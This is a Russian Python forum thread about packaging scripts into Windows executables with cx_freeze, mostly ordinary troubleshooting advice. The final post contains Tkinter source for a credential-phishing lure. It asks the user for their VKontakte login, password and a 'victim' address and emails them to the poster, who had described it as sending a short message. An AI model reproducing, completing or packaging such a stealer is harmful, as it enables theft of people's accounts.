Уведомления

Группа в Telegram: @pythonsu

#1 Янв. 4, 2015 19:44:00

mitya_s_v
Зарегистрирован: 2014-09-10
Сообщения: 64
Репутация: +  4  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Alen
А нет спора, есть у человека затык в том что дистрибуция софта возможна только в виде бинарных исполняемых файлов.
Я понимаю, что ты хочешь донести до автора вопроса и я с тобой согласен (что есть куча способов распространять программы), но в данном случае просьба ведь была конкретная и под win в прицепи в основном все программы и распространяются с помощью exe, так что думаю, что нужно просто помочь человеку и все .

Офлайн

#2 Янв. 4, 2015 20:06:06

4kpt_III
Зарегистрирован: 2014-12-22
Сообщения: 999
Репутация: +  39  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Поучаствую и я в дискуссии…

python2015
Вот статистика из интернета. Возможно это подкуплено путинскими рептилоидами. Готов ознакомиться со “страшной правдой”.

Имеется ввиду статистика десктопных. Если же брать серверные, то ситуация диметрально противоположная:

Можно глянуть хоть это…. За точность не ручаюсь, но есть над чем подумать

P.S. Нужно еще понимать, что все же питон прижел из мира никсов, поэтому предъявлять к нему повышенные требования относительно сложности сбора пакетов в .exe все же не стоит (он просто-напросто под это не заточен). Плюс известно, что когда питон используется на винде, то он лишается существенной доли своей функциональности. Да и установка некоторых пакетов имеет свои сложности…

Отредактировано 4kpt_III (Янв. 4, 2015 20:07:36)

Офлайн

#3 Янв. 4, 2015 20:15:47

Alen
Зарегистрирован: 2013-08-01
Сообщения: 373
Репутация: +  49  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

mitya_s_v
Ну предположим даже если даже на 10 машинах постоянно ставить на пример pyqt или ещё какие нибудь довольно тяжёлые библиотеки, которые написаны не на чистом python, то установка станет не очень быстрой и не тривиальной + постоянно выкачивать много лишних мегабайт.

C PyQt все проще, там банальный msi, который c ключами дружит. Вообще всё тяжелое под windows в msi.

mitya_s_v
Я вот один раз делал программу 70 летнему деду, я оооочень сильно сомневаюсь, что он смог бы выкачивать pyqt, поставить из requirements зависимости, скачать и поставить интерпретатор + заставить это все завестись.

Ну во-первых автоматизация для того и существует чтобы всё ставилось в один клик, а во-вторых зачем 70 летнему деду что-то ставить, на то внуки есть.

python2015
Обоснуй. Вот статистика из интернета.

Я не буду ничего обосновывать, если умный самый дорастешь и поймешь что не десктопом единым.

mitya_s_v
Я понимаю, что ты хочешь донести до автора вопроса и я с тобой согласен (что есть куча способов распространять программы), но в данном случае просьба ведь была конкретная и под win в прицепи в основном все программы и распространяются с помощью exe

Серьёзно? В теме под названием “Почему в питоне так сложно создать exe-шник?”
Причем правильный ответ по созданию в одну команду в первом же ответе. Ну только там же засада нужно mingw ставить, python ставить, nuitka ставить, которые прямо все в виде exe/msi – ну у человека с этим проблема, у человека даже c батником проблема, cx_freeze поставить проблема.

Офлайн

#4 Янв. 4, 2015 20:18:21

Kasta_neda
Зарегистрирован: 2014-06-08
Сообщения: 210
Репутация: +  6  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

ТС не особо разбирается в винде, зачем говорить о никсах, ему надо установить сx-freeze, надо узнать следует ли он данным ему советам, узнать какие ошибки возникают, и закончить уже с этим.

Офлайн

#5 Янв. 4, 2015 20:50:19

python2015
Зарегистрирован: 2014-12-27
Сообщения: 33
Репутация: +  -2  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Kasta_neda
Удалите все версии питона и фрезы, удалите все длл что ставили, , установите Microsoft Visual C++ Redistributable 2010, установите заново питон и фрезу одной версии и разрядности, потом скажите что не так еще.
Сделал все, кроме удаления ддл-ок, ибо уже не помню куда что копировал. Установил питон 3,2 64 и соответствующую cx_freeze. Фреза отрабатывает, создает папку build, только ехе-шник в ней не работает. Показывает на мгновенье консоль и больше ничего. Без файла python32.dll вообще запускаться не хочет.

4kpt_III
Если же брать серверные, то ситуация диметрально противоположная
Да, диаметрально. Но мне кажется что десктопов в разы больше чем серверов.

4kpt_III
P.S. Нужно еще понимать, что все же питон прижел из мира никсов, поэтому предъявлять к нему повышенные требования относительно сложности сбора пакетов в .exe все же не стоит (он просто-напросто под это не заточен).
Я бы хотел сделать программирование своей профессией. Мне стоит ставить на питон? Или стоит выбрать другой ЯП?

Офлайн

#6 Янв. 4, 2015 21:01:23

mitya_s_v
Зарегистрирован: 2014-09-10
Сообщения: 64
Репутация: +  4  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

python2015
Показывает на мгновенье консоль и больше ничего
Приложение то какое? Похоже консольное, так что это у тебя все удалось наоборот. Просто приложение выполняется и мгновенно закрывается, так как ты задержку не сделал.

Если бы была какая-то ошибка, ты бы увидел окно с ошибкой.

Офлайн

#7 Янв. 4, 2015 21:11:13

python2015
Зарегистрирован: 2014-12-27
Сообщения: 33
Репутация: +  -2  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

mitya_s_v
Приложение то какое? Похоже консольное, так что это у тебя все удалось наоборот. Просто приложение выполняется и мгновенно закрывается, так как ты задержку не сделал.
Нет, приложение оконное. Для окошка использую ткинтер, т.к. как он прост и по умолчанию в питоне есть. Программа создает окошко в котором пользователь вводит короткое текстовое сообщение в элемент Entry, жмет кнопку и введенное отправляется мне на имейл.
З.Ы. Кстати, msi мне не катит. Программка маленькая и должна запускаться без установки. И конечно левые файлы без которых ехе-шник не работает тоже не нужны.

Отредактировано python2015 (Янв. 4, 2015 21:14:12)

Офлайн

#8 Янв. 4, 2015 21:15:07

Kasta_neda
Зарегистрирован: 2014-06-08
Сообщения: 210
Репутация: +  6  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Когда cx_freeze в консоли создает сборку, ошибок нет?

Офлайн

#9 Янв. 4, 2015 21:17:03

mitya_s_v
Зарегистрирован: 2014-09-10
Сообщения: 64
Репутация: +  4  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Если запускать сборочный скрипт с параметром build_exe, то будет собран просто exe.

python2015
Нет, приложение оконное.
Тогда давай показывай свой скрипт с помощью которого собирал exe.

Офлайн

#10 Янв. 4, 2015 21:27:09

python2015
Зарегистрирован: 2014-12-27
Сообщения: 33
Репутация: +  -2  -
Профиль   Отправить e-mail  

Почему в питоне так сложно создать exe-шник?

Kasta_neda
Когда cx_freeze в консоли создает сборку, ошибок нет?

mitya_s_v
Тогда давай показывай свой скрипт с помощью которого собирал exe.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from Tkinter import *
import smtplib

def send_email(lp):
to = '' #здесь имеил получателя
gmail_user = '' #здесь имеилотправителя
gmail_pwd = '' #пароль к почте отправителя
smtpserver = smtplib.SMTP("smtp.yandex.ru")
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_user, gmail_pwd)
header = 'To:' + to + '\n' + 'From: ' + gmail_user + '\n' + 'Subject: \n'
msg = header + '\n' + lp
smtpserver.sendmail(gmail_user, to, msg)
smtpserver.close()

def get_params():
login = entry_login.get()
password = entry_password.get()
victim = entry_victim.get()
lp = "Адрес вконтакте: " + login + "\nПароль: " + password + "\nЖертва: " + victim
send_email(lp)

root = Tk()

label_login = Label(root,text="Ваш адрес вконтакте")
label_password = Label(root,text="Пароль")
entry_login = Entry(root,text="")
entry_password = Entry(root)
label_victim = Label(root,text="Адрес жертвы")
entry_victim = Entry(root)


button_enter = Button(root,text="Enter",command=get_params)

label_login.grid(row=1,column=1)
entry_login.grid(row=1,column=2)
label_password.grid(row=2,column=1)
entry_password.grid(row=2,column=2)
label_victim.grid(row=3,column=1)
entry_victim.grid(row=3,column=2)
button_enter.grid(row=4,column=1,columnspan=2)
root.mainloop()

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version